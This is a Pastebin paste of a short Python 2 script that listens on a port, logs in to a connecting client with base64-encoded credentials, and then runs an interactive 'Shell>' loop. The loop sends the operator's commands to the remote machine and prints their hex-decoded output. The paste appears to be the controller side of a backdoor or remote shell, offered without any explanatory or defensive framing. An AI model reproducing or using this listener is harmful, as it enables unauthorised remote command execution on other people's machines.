Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket,re,sys,hashlib,base64
- host = ""
- port = int(sys.argv[1])
- sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- sock.bind((host,port))
- sock.listen(1)
- print 'Listening on port',str(port),'for incoming connections!'
- client,addr = sock.accept()
- print 'Connection established by',addr[0],'on port',addr[1]
- print client.recv(1024)
- usr = raw_input("Login>")
- client.send(base64.b64encode(usr))
- print client.recv(1024)
- pwd = raw_input("Login>")
- client.send(base64.b64encode(pwd))
- print client.recv(1024)
- while 1:
- cmd = raw_input("\nShell>")
- if not cmd: cmd = "dir"
- client.send(cmd)
- cmd = client.recv(20000)
- print cmd.decode("hex")
- print 'close'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement